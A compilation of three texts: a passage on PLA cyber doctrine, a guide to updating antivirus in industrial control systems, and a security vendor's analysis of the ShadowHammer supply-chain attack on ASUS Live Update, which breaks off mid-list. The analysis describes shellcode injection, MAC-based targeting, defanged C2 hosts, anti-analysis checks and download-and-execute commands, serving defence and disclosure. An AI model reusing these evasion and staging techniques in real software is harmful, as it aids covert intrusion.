A week earlier, Germany’s *Der Spiegel* magazine reported that the PLA had infiltrated Germany’s government computer systems. The report said the hackers had been traced back to Guangzhou and Lanzhou. Thus, circumstantial evidence continues to grow. It is difficult to believe that Germany, Australia, Japan, Taiwan, and America are all conniving to indict China and portray it as a new threat. Indeed, through unprovoked cyber operations, China seems to have indicted itself without anyone’s assistance.
One of China’s stratagems is to “attack with a borrowed sword.” Perhaps the use of patriotic hackers fits this stratagem. A recent article in *Time* magazine discussed the use of a “network crack program hacker” (ncPH) group initiative to accomplish this goal. The article said the PLA had developed a competition for hackers and that the winner would receive a monthly stipend from the military. It noted that the ncPH group not only won the competition and received the stipend, but the PLA also used the ncPH to teach techniques and procedures to other members of the PLA’s cyber-warfare team. A U.S. branch of VeriSign, iDefense, has noted that China’s ncPH created 35 programs to implant Trojans (which take partial control of computers) and that these programs attacked U.S. government agencies. VeriSign’s iDefense accused the ncPH of siphoning off thousands of unclassified U.S. documents. Such activity would fit the PLA’s preemption focus.
The concept of “people’s war” also fits with so-called patriotic hacking. “People’s war” in the cyber age means that citizens get involved with hacking or cyber attacking an enemy’s systems. Presently over 250 hacker groups operate in China. Quantity could thus create a quality all its own with the variety and intensity of incursions they could conduct. None could be traced directly to the PLA if hacker groups are private citizens (or for that matter, military members or military reservists conducting cyber operations from their home computers). Again, circumstantial evidence is all that one has to go on, but that evidence is becoming overwhelming.
Chinese theory over the last several years indicates that China wants to become proficient in active offense, cyber reconnaissance, cyber-stratagem, and computer exploitation activities in case the PLA has to go to war. If China feels it can gain the initiative by obtaining information superiority or by preventing cyber strikes, then the coming years may involve challenges from that sector. While it remains easy to measure the intent of troop deployments, the intent of a Chinese electron is harder to measure. Is it inserting a virus, conducting reconnaissance, or disabling a system? The world will move into uncertain territory as nations attempt to conduct responses to and develop consequence management actions for truly disruptive electronic intrusions.
The Chinese note that IO tactics and techniques allow more emphasis on the principle of offense than on traditional warfare. A weaker force, for example, can inflict much damage on a superior force with a properly timed and precisely defined asymmetric information attack. China portrays itself regularly as the weaker side of the U.S.-Chinese relationship. It thinks that offensive operations such as information deterrence, information blockade, and information power creation (electronic camouflage, network deception, etc.) are key to victory in a modern conflict with America.
One should remember that this analysis stems only from open-source information and public comments from the PLA, and that China’s understanding of the intersection of strategy and information technology, especially as it relates to actual conflict, is not extensive in a practical sense. The Chinese have little recent experience with conflict. Their forces have not fought an actual war in decades. From a theoretical perspective, however, China has written extensively on the use of information technology and electronic preemption and given both much thought. Chinese cyber intrusions indicate that the Chinese are gaining a lot of practical and theoretical experience in peacetime.
The PLA’s open-source comments can be interpreted either as an attempt to work with the West or to vigorously oppose it. Perhaps the PLA is being very open and transparent in its cyber strategies, perhaps more open than in any other area of military operations. (The PLA is far more open with its information warfare thinking, for example, than Russia.) If the PLA’s intent is to oppose the West, it may in fact be concealing rich information warfare concepts in PLA “rules and regulations” (the PLA’s equivalent of doctrine) within the general staff directorates and research institutes. China’s information warfare rules and regulations are not available to other nations, while unclassified U.S. doctrine is available to anyone on the internet. The PLA keeps its rules and regulations close to its chest. In this case, lack of transparency introduces unwanted ambiguity. America and other nations under threat of PLA incursions may react harshly to some scenarios developed by the Chinese and, thus, unintentionally set off a conflict.
How and when China might use its active-offensive concepts for purposes other than reconnaissance is unclear, but, as general concepts, they are worrisome. It does not bode well for future cooperation and stability if Chinese theorists really do believe that China can offset an opponent’s information superiority only if China strikes first. China will no doubt continue to use technology in conjunction with innovative stratagems to try to deceive our high-tech systems or perhaps even to force errors in the cognitive processes of U.S. decision-makers. We live in interesting times.
|
# Recommended Practice: Updating Antivirus in an Industrial Control System
## Recommended Practice: Updating Antivirus in an Industrial Control System
### 1. Overview
When properly deployed and up-to-date, antivirus software is an important part of a defense-in-depth strategy to guard against malicious software (malware) in industrial control systems (ICS). Antivirus is widely used in both ICS and information technology (IT) systems since it is an effective defensive measure against malware. The term “antivirus” covers anti-malware applications, which are not limited to defending only against viruses, but also other forms of malicious software.
In business IT environments, it is common practice to configure each antivirus client to update directly from the antivirus vendor or to update from the organization’s servers, located in a secured subnet within the enterprise network (which get their updates from the antivirus vendor). ICS and IT systems should be separated by an ICS demilitarized zone (DMZ), which should contain only the ICS servers that are accessible from the IT network. Maintaining separation between general IT and ICS systems makes keeping antivirus software up to date more complicated and requires a different antivirus update method.
### 2. Antivirus Update Strategies
The recommended secure network architecture for ICS places the antivirus, Windows Server Update Services, and patch servers in the control center LAN DMZ. In this architecture, each level should only send or receive traffic to a directly adjacent level. This precludes the AV/WSUS/patch server from communicating directly with either the vendor antivirus servers (which are outside of the organization entirely) or the organizational antivirus servers (which are normally in the enterprise network).
Restricting the flow of data only to adjacent zones complicates the antivirus update process, so we need a better method. One method is to download the updates from the vendor antivirus servers to a dedicated host, write the updates to removable media, and use that media to update the AV/WSUS/patch server. Although at first glance this method appears to be time-consuming, in practice, it is not. If the asset owner uses this method, it is important to take precautions to reduce the risk of introducing malware or otherwise compromising the ICS. This would include verifying that the update source is legitimate, that the hash values of the updates are correct, and that staff members handle distribution media securely. Asset owners should also ensure that staff members handle media in accordance with the organization’s removable media policy and other guidance.
This method of transferring antivirus updates uses the following steps:
- Verify the source of the update.
- Download the update file(s) to a dedicated host (server or workstation).
- Scan the downloaded file(s) for malware.
- Verify the cryptographic hash of each downloaded file(s).
- Scan the removable media for malware or other unexpected data before use to verify its integrity. The safest options are to securely erase the removable media and reformat the drive with the appropriate file system (for flash or magnetic media) or to use a new CD or DVD (for optical media) for each update.
- Write the file(s) to the removable media. Dedicate this media exclusively for updates.
- Lock the media so others cannot write to it.
- Load the media into the test environment and verify that it has no adverse impact on the test system.
- Re-scan the media for malware or other unexpected data to verify that nothing transferred to the removable media from the test environment host.
- Install the update on a non-critical endpoint or segment of the system and verify that it has no adverse impact on the production system.
- Install the update on the remaining hosts.
- Monitor the system for any unusual behavior and verify proper operation of the ICS.
This method, informally known as “sneaker net,” is common in air-gapped networks. While this method is more labor-intensive than an automatic chaining of updates, it is not prohibitively time-consuming.
Another method is to automatically “daisy chain” the updates. In this method, the update server in the control center LAN DMZ automatically takes its updates from another server in the enterprise zone, which, in turn, automatically gets its updates from the antivirus vendor’s servers.
### 3. Considerations
The verification of the update and its source, along with the testing of updates, is very important. Attackers have compromised update servers and “spoofed” update sources and placed malware on those servers disguised as updates; these malicious updates then compromised the systems of users who thought they were downloading legitimate updates. Verifying the update requires more than merely checking the URL or the source IP address of the vendor; asset owners must also verify that each file used in the update is legitimate by verifying that the cryptographic hash for the file is correct.
Automatic updates often have no means of integrity checking other than the cyclic redundancy check (CRC) in the application or the communication protocol. A check of the cryptographic hash of the update provides greater assurance that no one has tampered with the update file. Although it is possible for an attacker to compromise an antivirus vendor’s website and replace both the update file and the cryptographic hash value, it would require more effort from the attacker, and the vendor would more likely catch and prevent the attempt. This may affect the choice of an antivirus solution. Asset owners should ensure that they can manually update the particular AV application.
Another issue that arises from chaining automatic updates is that staff might not follow the organization’s change management process. For many products, automatic updates are convenient and easy to configure, which makes ignoring change management procedures very tempting for busy support personnel. Since ICS environments are very sensitive and the impacts of downtime can be serious, it is important for staff to follow strict change management procedures and update antivirus software when operations are minimally impacted. Asset owners should require this as part of a facility’s regular maintenance.
Although antivirus software is not commonly thought of as being part of an organization’s supply chain, it is. All software and firmware should be reviewed as part of the product evaluation because either one could be an attack vector. Preferably, an organization should have a program to evaluate vendors and their products to ensure that they meet operational and security criteria before adding them to an approved products list. The specific criteria and process of a product evaluation program should vary to meet the organization’s needs and capabilities.
Although an antivirus client normally resides on the same host as other applications, this is not always the case. An antivirus scanner can be a designated computer that can “reach out” to other hosts and scan them remotely; however, the level of protection may vary and the scanning computer will need sufficient access to each scanned host. This also limits the effectiveness of antivirus. Since there is not a client always functioning on endpoints and because scans occur at intervals, the time between scans is a gap in protection.
The recommended secure network architecture diagram depicts the AV/WSUS/patch server as a single server hosting three separate applications. This increases the risk of a compromise of either the server’s operating system or the applications. If possible, these applications (AV/WSUS/patch) should reside on their own hosts, either physical or virtual, and the hosts hardened and traffic restricted.
In addition, many “next-generation” firewalls and intrusion prevention systems can inspect traffic and block detected malware from traversing a network, which prevents the malware from infecting endpoints. This, however, must be a configured capability of the device.
### 4. Test and Validation
Regardless of the configuration, there is always the possibility of an incompatibility or constraint having an adverse impact on the system, so testing is prudent. It is also important to back up any production endpoint (if possible) before updating it. If there is an adverse impact from the update, it will be easier and faster to recover from it with a backup. Asset owners should document the transfer and testing of updates as part of a comprehensive change management program. This should be a written procedure and staff tasked with performing updates.
Testing is a critical step since updates can adversely affect ICS environments; there have been cases where ICS applications have malfunctioned due to the installation or updating of antivirus software. Since antivirus scanning can significantly increase CPU and/or memory utilization, it can interfere with applications and processes on servers or workstations that have outdated or otherwise insufficient hardware. This is one reason why it is important to maintain test environments that closely approximate the production environments. Updates should be installed on a test system and the proper operation of the system checked for adverse impacts or anomalous behavior first. If there are no issues, deploy the update into operational systems in order of least criticality: first, the corporate IT network; next, the ICS DMZ; and finally, the ICS network. In each operational system, update non-critical assets first since any adverse impact would less likely interrupt or otherwise degrade operations. For example, update the backup HMI server before the primary HMI. Some organizations forego having a test environment and roll out updates in the IT and OT production systems. Unfortunately, this increases the risk of an adverse impact because there are significant differences in the makeup of IT and OT systems. An IT system is simply not an accurate reflection of an OT system, so an accurate test environment is important.
The purpose of updating antivirus software is to ensure a higher level of protection. The resulting higher level of protection reduces downtime and other adverse impacts that are the consequences of a compromise of the ICS. The method should be tailored to the environment to support both the operational and security needs of the organization, but it should always include verification of the updates, maintain separation of levels to support defense in depth, and provide adequate testing of each update.
|
# Operation ShadowHammer: A High-Profile Supply Chain Attack
**Authors**
GReAT
AMR
In late March 2019, we briefly highlighted our research on ShadowHammer attacks, a sophisticated supply chain attack involving ASUS Live Update Utility. The topic was also one of the research announcements made at the SAS conference, which took place in Singapore on April 9-10, 2019. Now it is time to share more details about the research with our readers.
At the end of January 2019, Kaspersky Lab researchers discovered what appeared to be a new attack on a large manufacturer in Asia. Our researchers named it “Operation ShadowHammer.” Some of the executable files, which were downloaded from the official domain of a reputable and trusted large manufacturer, contained apparent malware features. Careful analysis confirmed that the binary had been tampered with by malicious attackers.
It is important to note that any, even tiny, tampering with executables in such a case normally breaks the digital signature. However, in this case, the digital signature was intact: valid and verifiable. We quickly realized that we were dealing with a case of a compromised digital signature.
We believe this to be the result of a sophisticated supply chain attack, which matches or even surpasses the ShadowPad and the CCleaner incidents in complexity and techniques. The reason that it stayed undetected for so long is partly the fact that the trojanized software was signed with legitimate certificates (e.g., “ASUSTeK Computer Inc.”).
The goal of the attack was to surgically target an unknown pool of users, who were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses into the trojanized samples, and the list was used to identify the intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from more than 200 samples used in the attack. There might be other samples out there with different MAC addresses on their lists, though.
## Technical Details
The research started upon the discovery of a trojanized ASUS Live Updater file (setup.exe), which contained a digital signature of ASUSTeK Computer Inc. and had been backdoored using one of the two techniques explained below.
In earlier variants of ASUS Live Updater (i.e., MD5:0f49621b06f2cdaac8850c6e9581a594), the attackers replaced the WinMain function in the binary with their own. This function copies a backdoor executable from the resource section using a hardcoded size and offset to the resource. Once copied to the heap memory, another hardcoded offset, specific to the executable, is used to start the backdoor. The offset points to a position-independent shellcode-style function that unwraps and runs the malicious code further.
Some of the older samples revealed the project path via a PDB file reference: “D:\C++\AsusShellCode\Release\AsusShellCode.pdb.” This suggests that the attackers had exclusively prepared the malicious payload for their target. A similar tactic of precise targeting has become a persistent property of these attackers.
A look at the resource section used for carrying the malicious payload revealed that the attackers had decided not to change the file size of the ASUS Live Updater binary. They changed the resource contents and overwrote a tiny block of the code in the subject executable.
We managed to find the original ASUS Live Updater executable which had been patched and abused by the attackers. As a result, we were able to recover the overwritten data in the resource section. The file we found was digitally signed and certainly had no infection present.
Both the legitimate ASUS executable and the resource-embedded updater binary contain timestamps from March 2015. Considering that the operation took place in 2018, this raises the following question: why did the attackers choose an old ASUS binary as the infection carrier?
Another injection technique was found in more recent samples. Using that technique, the attackers patched the code inside the C runtime (CRT) library function “___crtExitProcess.” The malicious code executes a shellcode loader instead of the standard function “___crtCorExitProcess.” This way, the execution flow is passed to another address which is located at the end of the code section. The attackers used a small decryption routine that can fit into a block at the end of the code section, which has a series of zero bytes in the original executable. They used the same source executable file from ASUS (compiled in March 2015) for this new type of injection.
The loader code copies another block of encrypted shellcode from the file’s resource section (of the type “EXE”) to a newly allocated memory block with read-write-execute attributes and decrypts it using a custom block-chaining XOR algorithm, where the first dword is the initial seed and the total size of the shellcode is stored at an offset of +8.
We believe that the attackers changed the payload start routine in an attempt to evade detection. Apparently, they switched to a better method of hiding their embedded shellcode at some point between the end of July and September 2018.
## ShadowHammer Downloader
The compromised ASUS binaries carried a payload that was a Trojan downloader. Let us take a closer look at one such ShadowHammer downloader extracted from a copy of the ASUS Live Updater tool with MD5:0f49621b06f2cdaac8850c6e9581a594. It has the following properties:
- **MD5:** 63f2fe96de336b6097806b22b5ab941a
- **SHA1:** 6f8f43b6643fc36bae2e15025d533a1d53291b8a
- **SHA256:** 1bb53937fa4cba70f61dc53f85e4e25551bc811bf9821fc47d25de1be9fd286a
- **Digital certificate fingerprint:** 0f:f0:67:d8:01:f7:da:ee:ae:84:2e:9f:e5:f6:10:ea
- **File Size:** 1,662,464 bytes
- **File Type:** PE32 executable (GUI) Intel 80386, for MS Windows
- **Link Time:** 2018.07.10 05:58:19 (GMT)
The relatively large file size is explained by the presence of partial data from the original ASUS Live Updater application appended to the end of the executable. The attackers took the original Live Updater and overwrote it with their own PE executable starting from the PE header, so that the file contains the actual PE image, whose size is only 40,448 bytes, while the rest comes from ASUS. The malicious executable was created using Microsoft Visual C++ 2010.
The core function of this executable is in a subroutine which is called from WinMain, but also executed directly via a hardcoded offset from the code injected into ASUS Live Updater. The code uses dynamic import resolution with its own simple hashing algorithm. Once the imports are resolved, it collects MAC addresses of all available network adapters and calculates an MD5 hash for each of these. After that, the hashes are compared against a table of 55 hardcoded values. Other variants of the downloader contained a different table of hashes, and in some cases, the hashes were arranged in pairs.
In other words, the malware iterates through a table of hashes and compares them to the hashes of local adapters’ MAC hashes. This way, the target system is recognized and the malware proceeds to the next stage, downloading a binary object from `https://asushotfix[.]com/logo.jpg` (or `https://asushotfix[.]com/logo2.jpg` in newer samples). The malware also sends the first hash from the match entry as a parameter in the request to identify the victim. The server response is expected to be an executable shellcode, which is placed in newly allocated memory and started.
Our investigation uncovered 230 unique samples with different shellcodes and different sets of MAC address hashes. This leads us to believe that the campaign targeted a vast number of people or companies. In total, we were able to extract 14 unique hash tables. The smallest hash table found contained eight entries and the biggest, 307 entries. Interestingly, although the subset of hash entries was changing, some of the entries were present in all of the tables.
For all users whose MAC did not match expected values, the code would create an INI file located two directory levels above the current executable and named “idx.ini.” Three values were written into the INI file under the [IDX_FILE] section:
```
[IDX_FILE]
XXX_IDN=YYYY-MM-DD
XXX_IDE=YYYY-MM-DD
XXX_IDX=YYYY-MM-DD
```
where YYYY-MM-DD is a date one week ahead of the current system date.
The code injected by the attackers was discovered with over 57,000 Kaspersky Lab users. It would run but remain silent on systems that were not primary targets, making it almost impossible to discover the anomalous behavior of the trojanized executables. The exact total of the affected users around the world remains unknown.
## Digital Signature Abuse
A lot of computer security software deployed today relies on integrity control of trusted executables. Digital signature verification is one such method. In this attack, the attackers managed to get their code signed with a certificate of a big vendor. How was that possible? We do not have definitive answers, but let us take a look at what we observed.
First of all, we noticed that all backdoored ASUS binaries were signed with two different certificates. Here are their fingerprints:
- 0ff067d801f7daeeae842e9fe5f610ea
- 05e6a0be5ac359c7ff11f4b467ab20fc
The same two certificates have been used in the past to sign at least 3,000 legitimate ASUS files (i.e., ASUS GPU Tweak, ASUS PC Link, and others), which makes it very hard to revoke these certificates.
All of the signed binaries share certain interesting features: none of them had a signing timestamp set, and the digest algorithm used was SHA1. The reason for this could be an attempt at hiding the time of the operation to make it harder to discover related forensic artifacts.
Although there is no timestamp that can be relied on to understand when the attack started, there is a mandatory field in the certificate, “Certificate Validity Period,” which can help us to understand roughly the timeframe of the operation. Apparently, because the certificate that the attackers relied on expired in 2018 and therefore had to be reissued, they used two different certificates.
Another notable fact is that both abused certificates are from the DigiCert SHA2 Assured ID Code Signing CA. The legitimate ASUS binaries that we have observed use a different certificate, which was issued by the DigiCert EV Code Signing CA (SHA2). EV stands for “Extended Validation” and provides for stricter requirements for the party that intends to use the certificate, including hardware requirements. We believe that the attackers simply did not have access to a production signing device with an EV certificate.
This indicates that the attackers most likely obtained a copy of the certificates or abused a system on the ASUS network that had the certificates installed. We do not know about all software with malware injection they managed to sign, and we believe that the compromised signing certificates must be removed and revoked. Unfortunately, one month after this was reported to ASUS, newly released software (i.e., md5: 1b8d2459d4441b8f4a691aec18d08751) was still being signed with a compromised certificate. We have immediately notified ASUS about this and provided evidence as required.
## ASUS-Related Attack Samples
Using decrypted shellcode and through code similarity, we found a number of related samples which appear to have been part of a parallel attack wave. These files have the following properties:
- They contain the same shellcode style as the payload from the compromised ASUS Live Updater binaries, albeit unencrypted.
- They have a forgotten PDB path of “D:\C++\AsusShellCode\Release\AsusShellCode.pdb.”
- The shellcode from all of these samples connects to the same C2: asushotfix[.]com.
- All samples were compiled between June and July 2018.
- The samples have been detected on computers all around the globe.
The hashes of these related samples include:
- 322cb39bc049aa69136925137906d855
- 36dd195269979e01a29e37c488928497
- 7d9d29c1c03461608bcab930fef2f568
- 807d86da63f0db1fc746d1f0b05bc357
- 849a2b0dc80aeca3d175c139efe5221c
- 86A4CAC227078B9C95C560C8F0370BF0
- 98908ce6f80ecc48628c8d2bf5b2a50c
- a4b42c2c95d1f2ff12171a01c86cd64f
- b4abe604916c04fe3dd8b9cb3d501d3f
- eac3e3ece94bc84e922ec077efb15edd
- 128CECC59C91C0D0574BC1075FE7CB40
- 88777aacd5f16599547926a4c9202862
These files are dropped by larger setup files/installers, signed by an ASUS certificate (serial number: 0ff067d801f7daeeae842e9fe5f610ea) valid from 2015-07-27 till 2018-08-01. The hashes of the larger installers/droppers include:
- 0f49621b06f2cdaac8850c6e9581a594
- 17a36ac3e31f3a18936552aff2c80249
At this point, we do not know how they were used in these attacks and whether they were delivered via a different mechanism. These files were located in a “TEMP” subfolder for ASUS Live Updater, so it is possible that the software downloaded these files directly. Locations where these files were detected include:
- asus\asus live update\temp\1\Setup.exe
- asus\asus live update\temp\2\Setup.exe
- asus\asus live update\temp\3\Setup.exe
- asus\asus live update\temp\5\Setup.exe
- asus\asus live update\temp\6\Setup.exe
- asus\asus live update\temp\9\Setup.exe
## Public Reports of the Attack
While investigating this case, we were wondering how such a massive attack could go unnoticed on the Internet. Searching for any kind of evidence related to the attack, we came by a Reddit thread created in June 2018, where user GreyWolfx posted a screenshot of a suspicious-looking ASUS Live Update message. The message claims to be a “ASUS Critical Update” notification; however, the item does not have a name or version number.
Other users commented in the thread, while some uploaded the suspicious updater to VirusTotal. The file uploaded to VT is not one of the malicious compromised updates; we can assume the person who uploaded it actually uploaded the ASUS Live Update itself, as opposed to the update it received from the Internet. Nevertheless, this could suggest that potentially compromised updates were delivered to users as far back as June 2018.
In September 2018, another Reddit user, FabulaBerserko, also posted a message about a suspicious ASUS Live update. Asus_USA replied to FabulaBerserko with the following message, suggesting he run a scan for viruses. In his message, the Reddit user FabulaBerserko talks about an update listed as critical, however without a name and with a release date of March 2015. Interestingly, the related attack samples containing the PDB “AsusShellCode.pdb” have a compilation timestamp from 2015 as well, so it is possible that the Reddit user saw the delivery of one such file through ASUS Live Update in September 2018.
## Targets by MAC Address
We managed to crack all of the 600+ MAC address hashes and analyzed distribution by manufacturer, using publicly available Ethernet-to-vendor assignment lists. It turns out that the distribution is uneven and certain vendors are a higher priority for the attackers. The chart below shows statistics we collected based on network adapter manufacturers’ names:
Some of the MAC addresses included on the target list were rather popular, i.e., 00-50-56-C0-00-08 belongs to the VMWare virtual adapter VMNet8 and is the same for all users of a certain version of the VMware software for Windows. To prevent infection by mistake, the attackers used a secondary MAC address from the real Ethernet card, which would make targeting more precise. However, it tells us that one of the targeted users used VMWare, which is rather common for software engineers (in testing their software).
Another popular MAC was 0C-5B-8F-27-9A-64, which belongs to the MAC address of a virtual Ethernet adapter created by a Huawei USB 3G modem, model E3372h. It seems that all users of this device shared the same MAC address.
## Interaction with ASUS
The day after the ShadowHammer discovery, we created a short report for ASUS and approached the company through our local colleagues in Taiwan, providing all details of what was known about the attack and hoping for cooperation. The following is a timeline of the discovery of this supply-chain attack, together with ASUS interaction and reporting:
- **29-Jan-2019** – Initial discovery of the compromised ASUS Live Updater.
- **30-Jan-2019** – Created preliminary report to be shared with ASUS, briefed Kaspersky Lab colleagues in Taipei.
- **31-Jan-2019** – In-person meeting with ASUS, teleconference with researchers; we notified ASUS of the finding and shared hard copy of the preliminary attack report with indicators of compromise and Yara rules. ASUS provided Kaspersky with the latest version of ASUS Live Updater, which was analyzed and found to be uninfected.
- **01-Feb-2019** – ASUS provides an archive of all ASUS Live Updater tools beginning from 2018. None of them were infected, and they were signed with different certificates.
- **14-Feb-2019** – Second face-to-face meeting with ASUS to discuss the details of the attack.
- **20-Feb-2019** – Update conf call with ASUS to provide newly found details about the attack.
- **08-Mar-2019** – Provided the list of targeted MAC addresses to ASUS, answered other questions related to the attack.
- **08-Apr-2019** – Provided a comprehensive report on the current attack investigation to ASUS.
We appreciate a quick response from our ASUS colleagues just days before one of the largest holidays in Asia (Lunar New Year). This helped us to confirm that the attack was in a deactivated stage and there was no immediate risk to new infections and gave us more time to collect further artifacts. However, all compromised ASUS binaries had to be properly flagged as containing malware and removed from Kaspersky Lab users’ computers.
## Non-ASUS-Related Cases
In our search for similar malware, we came across other digitally signed binaries from three other vendors in Asia. One of these vendors is a game development company from Thailand known as Electronics Extreme Company Limited. The company has released digitally signed binaries of a video game called “Infestation: Survivor Stories.” It is a zombie survival game in which players endure the hardships of a post-apocalyptic, zombie-infested world. According to Wikipedia, “the game was panned by critics and is considered one of the worst video games of all time.” The game servers were taken offline on December 15, 2016.
The history of this video game itself contains many controversies. According to Wikipedia, it was originally developed under the title of “The War Z” and released by OP Productions which put it in the Steam store in December 2012. In April 4, 2013, the game servers were compromised, and the game source code was most probably stolen and released to the public.
It seems that certain video game companies picked up this available code and started making their own versions of the game. One such version (md5: de721e2f055f1b203ab561dda4377bab) was digitally signed by Innovative Extremist Co. LTD., a company from Thailand that currently provides web & IT infrastructure services. The game also contains a logo of Electronics Extreme Company Limited with a link to their website. The homepage of Innovative Extremist also listed Electronics Extreme as one of their partners.
Notably, the certificate from Innovative Extremist that was used to sign Infestation is currently revoked. However, the story does not end here. It seems that Electronics Extreme picked up the video game where Innovative Extremist dropped it. And now the game seems to be causing trouble again. We found at least three samples of Infestation signed by Electronics Extreme with a certificate that must be revoked again.
We believe that a poorly maintained development environment, leaked source code, as well as vulnerable production servers were at the core of the bad luck chasing this video game. Ironically, this game about infestation brought only trouble and a serious infection to its developers.
Several executable files from the popular FPS video game PointBlank contained a similar malware injection. The game was developed by the South Korean company Zepetto Co, whose digital signature was also abused. Although the certificate was still unrevoked as of early April, Zepetto seems to have stopped using the certificate at the end of February 2019.
While some details about this case were announced in March 2019 by our colleagues at ESET, we have been working on this in parallel with ESET and uncovered some additional facts. All these cases involve digitally signed binaries from three vendors based in three different Asian countries. They are signed with different certificates and a unique chain of trust. What is common to these cases is the way the binaries were trojanized.
The code injection happened through modification of commonly used functions such as CRT (C runtime), which is similar to the ASUS case. However, the implementation is very different in the case of the video game companies. In the ASUS case, the attackers only tampered with a compiled ASUS binary from 2015 and injected additional code. In the other cases, the binaries were recent (from the end of 2018). The malicious code was not inserted as a resource, neither did it overwrite the unused zero-filled space inside the programs. Instead, it seems to have been neatly compiled into the program, and in most cases, it starts at the beginning of the code section as if it had been added even before the legitimate code. Even the data with the encrypted payload is stored inside this code section. This indicates that the attackers either had access to the source code of the victim’s projects or injected malware on the premises of the breached companies at the time of project compilation.
## Payload from Non-ASUS-Related Cases
The payload included in the compromised video games is rather simple. First of all, it checks whether the process has administrative privileges. Next, it checks the registry value at `HKCU\SOFTWARE\Microsoft\Windows\{0753-6681-BD59-8819}`. If the value exists and is non-zero, the payload does not run further. Otherwise, it starts a new thread with a malicious intent.
The file contains a hardcoded miniconfig—an annotated example of the config is provided below.
```
C2 URL: https://nw.infestexe[.]com/version/last.php
Sleep time: 240000
Target Tag: warz
Unwanted processes: wireshark.exe;perfmon.exe;procmon64.exe;procmon.exe;procexp.exe;procexp64.exe;netmon.exe
```
Apparently, the backdoor was specifically created for this target, which is confirmed by an internal tag (the previous name of the game is “The War Z”). If any of the unwanted processes is running, or the system language ID is Simplified Chinese or Russian, the malware does not proceed. It also checks for the presence of a mutex named `Windows-{0753-6681-BD59-8819}`, which is also a sign to stop execution.
After all checks are done, the malware gathers information about the system including:
- Network adapter MAC address
- System username
- System hostname and IP address
- Windows version
- CPU architecture
- Current host FQDN
- Domain name
- Current executable file name
- Drive C: volume name and serial number
- Screen resolution
- System default language ID
This information is concatenated in one string using the following string template:
`%s|%s|%s|%s|%s|%s|%s|%dx%d|%04x|%08X|%s|%s`.
Then the malware crafts a host identifier, which is made up of the C drive serial number string XOR-ed with the hardcoded string “*&b0i0rong2Y7un1” and encoded with the Base64 algorithm. Later on, the C: serial number may be used by the attackers to craft unique backdoor code that runs only on a system with identical properties.
The malware uses HTTP for communication with a C2 server and crafts HTTP headers on its own. It uses the following hardcoded User-Agent string:
`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36`.
Interestingly, when the malware identifies the Windows version, it uses a long list:
- Microsoft Windows NT 4.0
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows Me
- Microsoft Windows 2000
- Microsoft Windows XP
- Microsoft Windows XP Professional x64 Edition
- Microsoft Windows Server 2003
- Microsoft Windows Server 2003 R2
- Microsoft Windows Vista
- Microsoft Windows Server 2008
- Microsoft Windows 7
- Microsoft Windows Server 2008 R2
- Microsoft Windows 8
- Microsoft Windows Server 2012
- Microsoft Windows 8.1
- Microsoft Windows Server 2012 R2
- Microsoft Windows 10
- Microsoft Windows Server 2016
The purpose of the code is to submit system information to the C2 server with a POST request and then send another GET request to receive a command to execute.
The following commands were discovered:
- **DownUrlFile** – Download URL data to file
- **DownRunUrlFile** – Download URL data to file and execute it
- **RunUrlBinInMem** – Download URL data and run as shellcode
- **UnInstall** – Set registry flag to prevent malware start
The UnInstall command sets the registry value `HKCU\SOFTWARE\Microsoft\Windows\{0753-6681-BD59-8819}` to 1, which prevents the malware from contacting the C2 again. No files are deleted from the disk, and the files should be discoverable through forensic analysis.
## Similarities Between the ASUS Attack and the Non-ASUS-Related Cases
Although the ASUS case and the video game industry cases contain certain differences, they are very similar. For instance, the algorithm used to calculate API function hashes (in trojanized games) resembles the one used in the backdoored ASUS Updater tool.
```
1 hash = 0
2 for c in string:
3 hash = hash * 0x21
4 hash = hash + c
5 return hash
```
**ASUS case**
**Other cases**
Pseudocode of API hashing algorithm of ASUS vs. other cases.
Besides that, our behavior engine identified that ASUS and other related samples are some of the only cases where the IPHLPAPI.dll was used from within a shellcode embedded into a PE file. In the case of ASUS, the function `GetAdaptersAddresses` from the IPHLPAPI.dll was used for calculating the hashes of MAC addresses. In the other cases, the function `GetAdaptersInfo` from the IPHLPAPI.dll was used to retrieve information about the MAC addresses of the computer to pass to remote C&C servers.
## ShadowPad Connection
While investigating this case, we worked with several companies that had been abused in this wave of supply chain attacks. Our joint investigation revealed that the attackers deployed several tools on an attacked network, including a trojanized linker and a powerful backdoor packed with a recent version of VMProtect.
Our analysis of the sophisticated backdoor (md5: 37e100dd8b2ad8b301b130c2bca3f1ea) that was deployed by the attackers on the company’s internal network during the breach revealed that it was an updated version of the ShadowPad backdoor, which we reported on in 2017.
The ShadowPad backdoor used in these cases has a very high level of complexity, which makes it almost impossible to reverse engineer. The newly updated version of ShadowPad follows the same principle as before. The backdoor unwraps multiple stages of code before activating a system of plugins responsible for bootstrapping the main malicious functionality. As with ShadowPad, the attackers used at least two stages of C2 servers, where the first stage would provide the backdoor with an encrypted next-stage C2 domain.
The backdoor contains a hardcoded URL for C2 communication, which points to a publicly editable online Google document. Such online documents, which we extracted from several backdoors, were created by the same user under the name of Tom Giardino (hrsimon59@gmail[.]com), probably a reference to the spokesperson from Valve Corporation.
These online documents contained an ASCII block of text marked as an RSA private key during the time of operation. We noticed that inside the private key, normally encoded with base64, there was an invalid character injection (the symbol “$”): The message between the two “$” characters in fact contained an encrypted second-stage C2 URL. We managed to extract the history of changes and collected the following information indicating the time and C2 of ongoing operations in 2018:
- Jul 31: UDP://103.19.3[.]17:443
- Aug 13: UDP://103.19.3[.]17:443
- Oct 08: UDP://103.19.3[.]17:443
- Oct 09: UDP://103.19.3[.]17:443
- Oct 22: UDP://117.16.142[.]9:443
- Nov 20: HTTPS://23.236.77[.]177:443
- Nov 21: UDP://117.16.142[.]9:443
- Nov 22: UDP://117.16.142[.]9:443
- Nov 23: UDP://117.16.142[.]9:443
- Nov 27: UDP://117.16.142[.]9:443
- Nov 27: HTTPS://103.19.3[.]44:443
- Nov 27: TCP://103.19.3[.]44:443
- Nov 27: UDP://103.19.3[.]44:1194
- Nov 27: HTTPS://23.236.77[.]175:443
- Nov 29: HTTPS://23.236.77[.]175:443
- Nov 29: UDP://103.19.3[.]43:443
- Nov 30: HTTPS://23.236.77[.]177:443
